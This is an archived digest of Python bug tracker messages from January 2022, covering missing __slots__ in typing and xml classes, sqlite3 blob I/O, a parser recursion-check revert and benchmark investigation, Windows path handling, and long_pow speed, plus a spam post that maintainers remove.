Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:26:02 2022 From: report at bugs.python.org (Home Learning Live) Date: Mon, 03 Jan 2022 14:26:02 +0000 Subject: [issue46243] flash drive Message-ID: <1641219962.27.0.329754076205.issue46243@roundup.psfhosted.org> New submission from Home Learning Live : If you have a physical error such as a broken connector, circuit board, NAND memory chip of the drive, then the hardware needs to be replaced or repaired. Doing-it-yourself can lead to even worse situations. Better you get help from the experts in this area. You can hire any trusted data recovery company like Stellar Data Recovery which is specialized in recovering data from a physically damaged USB drive. Below we have mentioned solutions to some common causes of physical issues with your USB drive. a. Broken Stems and Connectors, & Dead Drives (no power to the USB): A common indication of the physical errors is some kind of error messages or troubles that you see after connecting the USB. Common error messages are ?Please Insert Disk into Removable Disk? or ?USB Device Not Recognized or Malfunctioned?, ?you need to format the disk before using it?, RAW partition, dead or unresponsive drives, and damaged controller chips and/or circuit boards. If the silver USB connector is broken or the circuit board is damaged it leads to power supply cut-off to the USB. In such case, soldering and circuit repair is required. It?s not advised to do it yourself as if anything goes wrong, you may permanently lose access to your USB and also it?ll reduce the chances of getting your data successfully recovered or sometimes impossible. To deal with above physical errors, specialized equipment and expertise are required. So better you hand over it to some professional and let them deal with the scenario. b. Error: ?Please Insert Disk into Removable Disk?: This error occurs when the flash drive controller software becomes corrupt. It can also happen if there are some issues with the NAND memory. The above error can be caused by low grade or generic NAND memory chips. With a frequent number of reads and writes, the state of the drive turns worse. The error indicates that there is some issue with the NAND memory chips. Most probably the metadata stored in the NAND memory is corrupted or wiped and it can?t be mounted then, thus turning the drive unreadable. Whenever you try to read the drive, you will get the error message ?Please insert a disk into Removable Disk?. Also, if you try to check the drive size, it usually shows its capacity as 0 MB. As the device cannot be mounted on windows, if you check Device Manager under Disk drives, a different name for the USB drive will be listed. Also, the Disk Management shows a drive letter with No Media. In such case, you need to search for manufacturers that perform USB data recovery or flash drive data recovery. c. Undetectable USB Flash Drive: You may not be able to use your USB drive because of some problems with the USB port, not with the USB drive. So, before performing any repair of the USB drive also make sure that the USB port is working fine. To test the USB Port remove the USB drive, reboot your computer, and test the USB drive again. See if it works. It is possible that one port may not be working but all others are working fine. So try each port of your computer. If this doesn?t help, try the USB drive on some other computer. https://www.stellarinfo.com/blog/how-to-recover-files-from-a-corrupt-or-unresponsive-usb-flash-drive/ https://www.makeuseof.com/tag/dead-usb-port-heres-how-to-diagnose-and-fix-it/ https://www.makeuseof.com/tag/dead-usb-port-heres-how-to-diagnose-and-fix-it/ https://support.blinkforhome.com/issues-with-your-sync-module/troubleshooting-usb-drive https://gamstopbookmakers.com/horse-racing-not-on-gamstop/ https://www.howtogeek.com/howto/22251/find-your-missing-usb-drive-in-windows-7-vista/ ---------- messages: 409585 nosy: booth1664 priority: normal severity: normal status: open title: flash drive type: compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:33:09 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 Jan 2022 14:33:09 +0000 Subject: [issue46243] flash drive Message-ID: <1641220389.06.0.847985367417.issue46243@roundup.psfhosted.org> Change by Christian Heimes : ---------- Removed message: https://bugs.python.org/msg409585 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:33:22 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 Jan 2022 14:33:22 +0000 Subject: [issue46243] flash drive Message-ID: <1641220402.38.0.46523981487.issue46243@roundup.psfhosted.org> New submission from Christian Heimes : spam ---------- nosy: +christian.heimes resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:40:46 2022 From: report at bugs.python.org (Zachary Ware) Date: Mon, 03 Jan 2022 14:40:46 +0000 Subject: [issue46243] Spam In-Reply-To: <1641220402.38.0.46523981487.issue46243@roundup.psfhosted.org> Message-ID: <1641220846.64.0.60678222045.issue46243@roundup.psfhosted.org> Change by Zachary Ware : ---------- nosy: -booth1664, christian.heimes title: flash drive -> Spam type: compile error -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:47:44 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Mon, 03 Jan 2022 14:47:44 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ Message-ID: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> New submission from Arie Bovenberg : The mixin class "typing._TypeVarLike" has no __slots__. Its subclasses do define __slots__, so it looks like a mistake. Agree? It should be an easy fix, and I'd like to pick this up. ---------- components: Library (Lib) messages: 409587 nosy: ariebovenberg priority: normal severity: normal status: open title: typing._TypeVarLike missing __slots__ type: performance versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:52:22 2022 From: report at bugs.python.org (=?utf-8?q?Kristj=C3=A1n_Valur_J=C3=B3nsson?=) Date: Mon, 03 Jan 2022 14:52:22 +0000 Subject: [issue18677] Enhanced context managers with ContextManagerExit and None In-Reply-To: <1375885327.18.0.790620363467.issue18677@psf.upfronthosting.co.za> Message-ID: <1641221542.88.0.400381636628.issue18677@roundup.psfhosted.org> Kristj?n Valur J?nsson added the comment: Having given this some thougt, years laters, I believe it _is_ possible to write nested() (and nested_delayed()) in a correct way in python, without the ContextManagerExit function. Behold! import contextlib @contextlib.contextmanager def nested_delayed(*callables): """ Instantiate and invoke context managers in a nested way. each argument is a callable which returns an instantiated context manager """ if len(callables) > 1: with nested_delayed(*callables[:-1]) as a, callables[-1]() as b: yield a + (b,) elif len(callables) == 1: with callables[0]() as a: yield (a,) else: yield () def nested(*managers): """ Invoke preinstantiated context managers in a nested way """ def helper(m): """ A helper that returns the preinstantiated context manager when invoked """ def callable(): return m return callable return nested_delayed(*(helper(m) for m in managers)) @contextlib.contextmanager def ca(): print("a") yield 1 class cb: def __init__(self): print ("instantiating b") def __enter__(self): print ("b") return 2 def __exit__(*args): pass @contextlib.contextmanager def cc(): print("c") yield 3 combo = nested(ca(), cb(), cc()) combo2 = nested_delayed(ca, cb, cc) with combo as a: print("nested", a) with combo2 as a: print("nested_delayed", a) with ca() as a, cb() as b, cc() as c: print ("syntax", (a, b, c)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:59:12 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Mon, 03 Jan 2022 14:59:12 +0000 Subject: [issue33252] [doc] Clarify ResourceWarning documentation In-Reply-To: <1523312024.12.0.682650639539.issue33252@psf.upfronthosting.co.za> Message-ID: <1641221952.01.0.0592672721693.issue33252@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- keywords: +patch nosy: +hugovk nosy_count: 4.0 -> 5.0 pull_requests: +28572 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30358 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 10:10:48 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Mon, 03 Jan 2022 15:10:48 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641222648.06.0.365562451793.issue46244@roundup.psfhosted.org> Arie Bovenberg added the comment: I've also encountered other classes in the stdlib possibly missing slots: - importlib.metadata.DeprecatedList (subclass EntryPoints has slots) - xml.dom.minidom.Node, xml.dom.xmlbuilder.DocumentLS (5 subclasses have slots) Will investigate. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 10:23:18 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 15:23:18 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1641223398.13.0.679604853199.issue24905@roundup.psfhosted.org> Erlend E. Aasland added the comment: Slimmed PR diff (excluding clinic), without context manager and mapping protocol: $ git diff main Modules/_sqlite/*.[ch] Lib Doc Misc PC* setup.py Doc/includes/sqlite3/blob.py | 12 + Doc/includes/sqlite3/blob_with.py | 12 + Doc/library/sqlite3.rst | 73 ++++++ Doc/whatsnew/3.11.rst | 4 + Lib/test/test_sqlite3/test_dbapi.py | 165 +++++++++++++- Misc/NEWS.d/next/Library/2018-04-18-16-15-55.bpo-24905.jYqjYx.rst | 3 + Modules/_sqlite/blob.c | 342 +++++++++++++++++++++++++++++ Modules/_sqlite/blob.h | 24 ++ Modules/_sqlite/connection.c | 83 ++++++- Modules/_sqlite/connection.h | 5 +- Modules/_sqlite/module.c | 6 +- Modules/_sqlite/module.h | 1 + PCbuild/_sqlite3.vcxproj | 2 + PCbuild/_sqlite3.vcxproj.filters | 6 + setup.py | 1 + 15 files changed, 733 insertions(+), 6 deletions(-) Looks promising. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 10:24:52 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 15:24:52 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1641223492.65.0.74406510118.issue24905@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- Removed message: https://bugs.python.org/msg409590 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 10:25:25 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 15:25:25 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1641223525.77.0.970793448231.issue24905@roundup.psfhosted.org> Erlend E. Aasland added the comment: Slimmed PR diff (excluding clinic), without context manager and mapping protocol: $ git diff main Modules/_sqlite/*.[ch] Lib Doc Misc PC* setup.py Doc/includes/sqlite3/blob.py | 12 + Doc/includes/sqlite3/blob_with.py | 12 + Doc/library/sqlite3.rst | 73 ++++++ Doc/whatsnew/3.11.rst | 4 + Lib/test/test_sqlite3/test_dbapi.py | 165 +++++++++++++- Misc/NEWS.d/next/Library/2018-04-18-16-15-55.bpo-24905.jYqjYx.rst | 3 + Modules/_sqlite/blob.c | 342 +++++++++++++++++++++++++++++ Modules/_sqlite/blob.h | 24 ++ Modules/_sqlite/connection.c | 83 ++++++- Modules/_sqlite/connection.h | 5 +- Modules/_sqlite/module.c | 6 +- Modules/_sqlite/module.h | 1 + PCbuild/_sqlite3.vcxproj | 2 + PCbuild/_sqlite3.vcxproj.filters | 6 + setup.py | 1 + 15 files changed, 733 insertions(+), 6 deletions(-) Looks promising. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 10:26:23 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 15:26:23 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1641223583.24.0.906186928136.issue24905@roundup.psfhosted.org> Erlend E. Aasland added the comment: (the bpo bot is obviously confused by the News entry path, sigh) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 10:27:08 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Mon, 03 Jan 2022 15:27:08 +0000 Subject: [issue23183] timeit CLI best of 3: undocumented output format In-Reply-To: <1420620799.47.0.00516438922368.issue23183@psf.upfronthosting.co.za> Message-ID: <1641223628.6.0.957694286753.issue23183@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- keywords: +patch nosy: +hugovk nosy_count: 5.0 -> 6.0 pull_requests: +28573 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30359 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 10:42:54 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 03 Jan 2022 15:42:54 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1641180040.45.0.686297438517.issue46110@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: I propose a test: revert the PR and see if speed.Python.org shows a speedup back to the previous number.-- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 11:05:22 2022 From: report at bugs.python.org (Steve Dower) Date: Mon, 03 Jan 2022 16:05:22 +0000 Subject: [issue46226] User specific paths added to System PATH environment variable In-Reply-To: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org> Message-ID: <1641225922.51.0.977416874148.issue46226@roundup.psfhosted.org> Steve Dower added the comment: If you have them, can you share your install logs (look in %TEMP% for files starting with "Python"). If not, please share your install options. By default, this works fine. You have to make some specific modifications to the install options to do what you've done, such as choosing to install for all users and then overriding the install path to a per-user location. If you're installing just for yourself, the installer shouldn't even have the permissions required to modify system-wide environment variables. It's also possible that your machine has a special configuration to do this, in which case you'll need to speak with your administrator to find out why. We can't help with that - we just use standard MSIs and let the OS choose where things go. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 11:07:05 2022 From: report at bugs.python.org (Steve Dower) Date: Mon, 03 Jan 2022 16:07:05 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641226025.6.0.995091518506.issue46217@roundup.psfhosted.org> Steve Dower added the comment: Good catch. We still support 8.1 for this release, so that flag will have to be taken out (and hopefully people won't be impacted by long path names here). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 11:23:15 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Mon, 03 Jan 2022 16:23:15 +0000 Subject: [issue28546] [doc] Clarify setting pdb breakpoints In-Reply-To: <1477659342.78.0.0469891681289.issue28546@psf.upfronthosting.co.za> Message-ID: <1641226995.04.0.473837266948.issue28546@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- keywords: +patch nosy: +hugovk nosy_count: 4.0 -> 5.0 pull_requests: +28574 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30360 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 11:32:45 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 03 Jan 2022 16:32:45 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641227565.95.0.125511848336.issue46244@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 11:49:45 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 03 Jan 2022 16:49:45 +0000 Subject: [issue46242] Improve error message when attempting to extend an enum with `__call__` In-Reply-To: <1641216211.34.0.269752308501.issue46242@roundup.psfhosted.org> Message-ID: <1641228585.16.0.275667980594.issue46242@roundup.psfhosted.org> Change by Alex Waygood : ---------- title: Improve error message when creating an enum with `__call__` -> Improve error message when attempting to extend an enum with `__call__` _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 12:15:10 2022 From: report at bugs.python.org (Thomas) Date: Mon, 03 Jan 2022 17:15:10 +0000 Subject: [issue42369] Reading ZipFile not thread-safe In-Reply-To: <1605524871.74.0.395089652548.issue42369@roundup.psfhosted.org> Message-ID: <1641230110.77.0.767518212642.issue42369@roundup.psfhosted.org> Thomas added the comment: @khaledk I finally got some time off, so here you go https://github.com/99991/ParallelZipFile I can not offer any support for a more correct implementation of the zip specification due to time constraints, but maybe the code is useful for you anyway. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 12:19:33 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 03 Jan 2022 17:19:33 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641230373.1.0.408668844509.issue46217@roundup.psfhosted.org> Eryk Sun added the comment: With just PATHCCH_ALLOW_LONG_PATHS, PathCchCombineEx() returns a long path as a normal path (i.e. not a \\?\ extended path) if long-path support is enabled for the current process. Otherwise, if long-path support isn't enabled or available, as is always the case in Windows 8.1, then PATHCCH_ALLOW_LONG_PATHS makes PathCchCombineEx() return a long path as an extended path. In most cases, extended paths work fine. A common exception is that extended paths aren't supported for the working directory. In Windows 10+, PATHCCH_FORCE_ENABLE_LONG_NAME_PROCESS forces PathCchCombineEx() to always return a long path as a normal path, even if long-path support is disabled for the current process. For most cases, this option pretty much guarantees that long paths will cause immediate failures if long-path support is disabled for the current process. In some cases one might want an immediate failure, instead of messing around with extended paths that might fail in some obscure, buggy way. Also, for pure path manipulation one may not care whether the current process can access the path without the \\?\ prefix. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 12:27:31 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Mon, 03 Jan 2022 17:27:31 +0000 Subject: [issue34538] Remove encouragement to author a base class for all Exception subclasses in a module In-Reply-To: <1535488851.13.0.56676864532.issue34538@psf.upfronthosting.co.za> Message-ID: <1641230851.62.0.0818989097932.issue34538@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- keywords: +patch nosy: +hugovk nosy_count: 9.0 -> 10.0 pull_requests: +28575 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30361 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 12:37:16 2022 From: report at bugs.python.org (neonene) Date: Mon, 03 Jan 2022 17:37:16 +0000 Subject: [issue46208] os.path.normpath change between 3.11.0a2 and 3.11.0a3+ In-Reply-To: <1640893110.04.0.882099438605.issue46208@roundup.psfhosted.org> Message-ID: <1641231436.46.0.115174448141.issue46208@roundup.psfhosted.org> Change by neonene : ---------- keywords: +patch nosy: +neonene nosy_count: 3.0 -> 4.0 pull_requests: +28576 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30362 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 12:46:13 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 17:46:13 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641231973.16.0.057492962692.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > I propose a test: revert the PR and see if speed.Python.org shows a speedup back to the previous number.-- Ok, let's do that and see what happens ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 12:54:37 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 17:54:37 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641232477.27.0.898663971783.issue46110@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +28577 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/30363 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:00:04 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 03 Jan 2022 18:00:04 +0000 Subject: [issue45923] Improve performance of sys.settracing based tools. In-Reply-To: <1638185877.94.0.453545318764.issue45923@roundup.psfhosted.org> Message-ID: <1641232804.43.0.801103859518.issue45923@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +28578 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30364 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:08:18 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 03 Jan 2022 18:08:18 +0000 Subject: [issue46245] Add support for dir_fd in shutil.rmtree() Message-ID: <1641233298.42.0.900326324833.issue46245@roundup.psfhosted.org> New submission from Serhiy Storchaka : It is necessary in particularly for supporting dir_fd in the tempfile module (issue25927). ---------- components: Library (Lib) messages: 409599 nosy: serhiy.storchaka priority: normal severity: normal status: open title: Add support for dir_fd in shutil.rmtree() type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:08:29 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 03 Jan 2022 18:08:29 +0000 Subject: [issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.* In-Reply-To: <1450814221.93.0.811115775086.issue25927@psf.upfronthosting.co.za> Message-ID: <1641233309.95.0.233856613934.issue25927@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- dependencies: +Add support for dir_fd in shutil.rmtree() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:09:14 2022 From: report at bugs.python.org (=?utf-8?b?TWljaGHFgiBE?=) Date: Mon, 03 Jan 2022 18:09:14 +0000 Subject: [issue46033] Duplicated sentence in for statement documentation In-Reply-To: <1639132962.13.0.2847255275.issue46033@roundup.psfhosted.org> Message-ID: <1641233354.62.0.574102985533.issue46033@roundup.psfhosted.org> Micha? D added the comment: Please see the changes I suggested in my PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:29:22 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 18:29:22 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641234562.0.0.125104235655.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 9d35dedc5e7e940b639230fba93c763bd9f19c09 by Pablo Galindo Salgado in branch 'main': Revert "bpo-46110: Add a recursion check to avoid stack overflow in the PEG parser (GH-30177)" (GH-30363) https://github.com/python/cpython/commit/9d35dedc5e7e940b639230fba93c763bd9f19c09 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:31:18 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 03 Jan 2022 18:31:18 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641234678.66.0.783616064282.issue46244@roundup.psfhosted.org> Guido van Rossum added the comment: Confirmed about _TypeVarLike. Go ahead and make a PR. Do add a news blurb when requested. Please open separate issues for other such classes, each fix may need to be reviewed by a different expert. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:34:53 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Mon, 03 Jan 2022 18:34:53 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641234893.65.0.459980431017.issue46244@roundup.psfhosted.org> Arie Bovenberg added the comment: Thanks! I'll open new issues shortly on xml and importlib ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:39:08 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Mon, 03 Jan 2022 18:39:08 +0000 Subject: [issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__ Message-ID: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org> New submission from Arie Bovenberg : (as instructed in bpo-46244, I've created this ticket) The subclass `EntryPoints` defines __slots__, but its base `DeprecatedList` does not. This appears to be a mistake. If so, I'd like to create a PR to fix it. ---------- components: Library (Lib) messages: 409604 nosy: ariebovenberg priority: normal severity: normal status: open title: importlib.metadata.DeprecatedList appears to be missing __slots__ versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:39:57 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 18:39:57 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641235197.76.0.615651369229.issue46110@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +28579 pull_request: https://github.com/python/cpython/pull/30366 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:41:15 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Mon, 03 Jan 2022 18:41:15 +0000 Subject: [issue46247] in xml.dom.minidom, Node and DocumentLS appear to be missing __slots__ Message-ID: <1641235275.89.0.835733921244.issue46247@roundup.psfhosted.org> New submission from Arie Bovenberg : (as instructed in bpo-46244, I've created this ticket) The classes Node and DocumentLS don't define __slots__, but a number of subclasses do. This appears to be a mistake. If so, I'd like to create a PR to fix it. ---------- components: Library (Lib) messages: 409605 nosy: ariebovenberg priority: normal severity: normal status: open title: in xml.dom.minidom, Node and DocumentLS appear to be missing __slots__ versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:54:11 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 03 Jan 2022 18:54:11 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641236051.24.0.413601577027.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: I wrote a tiny script that calls compile() on raw bytes read from some source file, does this 100 times, and reports the total time. I tested the script with Lib/pydoc_data/topics.py (which happens to be the largest source file in the CPython repo, but mostly string literals) and with Lib/test/test_socket.py (the second-largest file). I built python.exe on a Mac with PGO/LTO, from "make clean", both before and after (at) PR 30177. For both files, the difference between the results is well in the noise caused by my machine (I don't have a systematic way to stop background jobs). But it's very clear that this PR cannot have been the cause of an 85% jump in the time taken by the python_startup benchmark in PyPerformance. For topics.py, the time was around 7.2 msec/compile; for test_socket.py, it was around 38. (I am not showing separate before/after numbers because the noise in my data really is embarrassing.) The compilation speed comes down to ~170,000 lines/sec on my machine (an Intel Mac from 2019; 2.6 GHz 6-Core Intel Core i7 running macOS Big Sur 11.6.1; it has clang 12.0.5). It must be something weird on the benchmark machines. I suspect that a new version of some package was installed in the venv shared by all the benchmarks (we are still using PyPerformance 1.0.2) and that affected something, perhaps through a .pth file? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:02:47 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 19:02:47 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1641236567.98.0.737799386307.issue44092@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 9d6a239a34a66e16188d76c23a3a770515ca44ca by Erlend Egeberg Aasland in branch 'main': bpo-44092: Don't reset statements/cursors before rollback (GH-26026) https://github.com/python/cpython/commit/9d6a239a34a66e16188d76c23a3a770515ca44ca ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:03:11 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 19:03:11 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1641236591.09.0.806614380565.issue44092@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:24:49 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 19:24:49 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641237889.08.0.897072353605.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I ran the benchmarks machines with the revert and seems that it doesn't go back to the previous timing: https://speed.python.org/timeline/#/?exe=12&ben=python_startup&env=1&revs=50&equid=off&quarts=on&extr=on (check last data point for https://github.com/python/cpython/commit/9d35dedc5e7e940b639230fba93c763bd9f19c09). So this seems that the difference in speed remains a mystery but is not due to this fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:25:09 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 03 Jan 2022 19:25:09 +0000 Subject: [issue46020] Optimize long_pow for the common case In-Reply-To: <1639031543.32.0.0830001202943.issue46020@roundup.psfhosted.org> Message-ID: <1641237909.84.0.850870612325.issue46020@roundup.psfhosted.org> Tim Peters added the comment: I was suprised that https://bugs.python.org/issue44376 managed to get i**2 to within a factor of 2 of i*i's speed. The overheads of running long_pow() at all are high! Don't overlook that initialization of stack variables at the start, like PyLongObject *z = NULL; /* accumulated result */ isn't free - code has to be generated to force zeroes into those variables. The initialization of `table[]` alone requires code to fill 256 memory bytes with zeroes (down to 128 on current main branch). Nothing is free. We can't sanely move the `table` initialization expense into the "giant k-ary window exponentiation" block either, because every bigint operation can fail ("out of memory"), and the macros for doing the common ones (MULT and REDUCE) can do "goto Error;", and that common exit code has no way to know what is or isn't initialized. We can't let it see uninitialized stack trash. The exit code in turn has a string of things like Py_DECREF(a); Py_DECREF(b); Py_XDECREF(c); and those cost cycles too, including tests and branches. So the real "outrage" to me is why x*x took 17.6 nsec for x == 10 in the original report. That's many times longer than the HW takes to do the actual multiply. Whether it's spelled x*x or x**2, we're overwhelming timing overheads. `pow()` has many 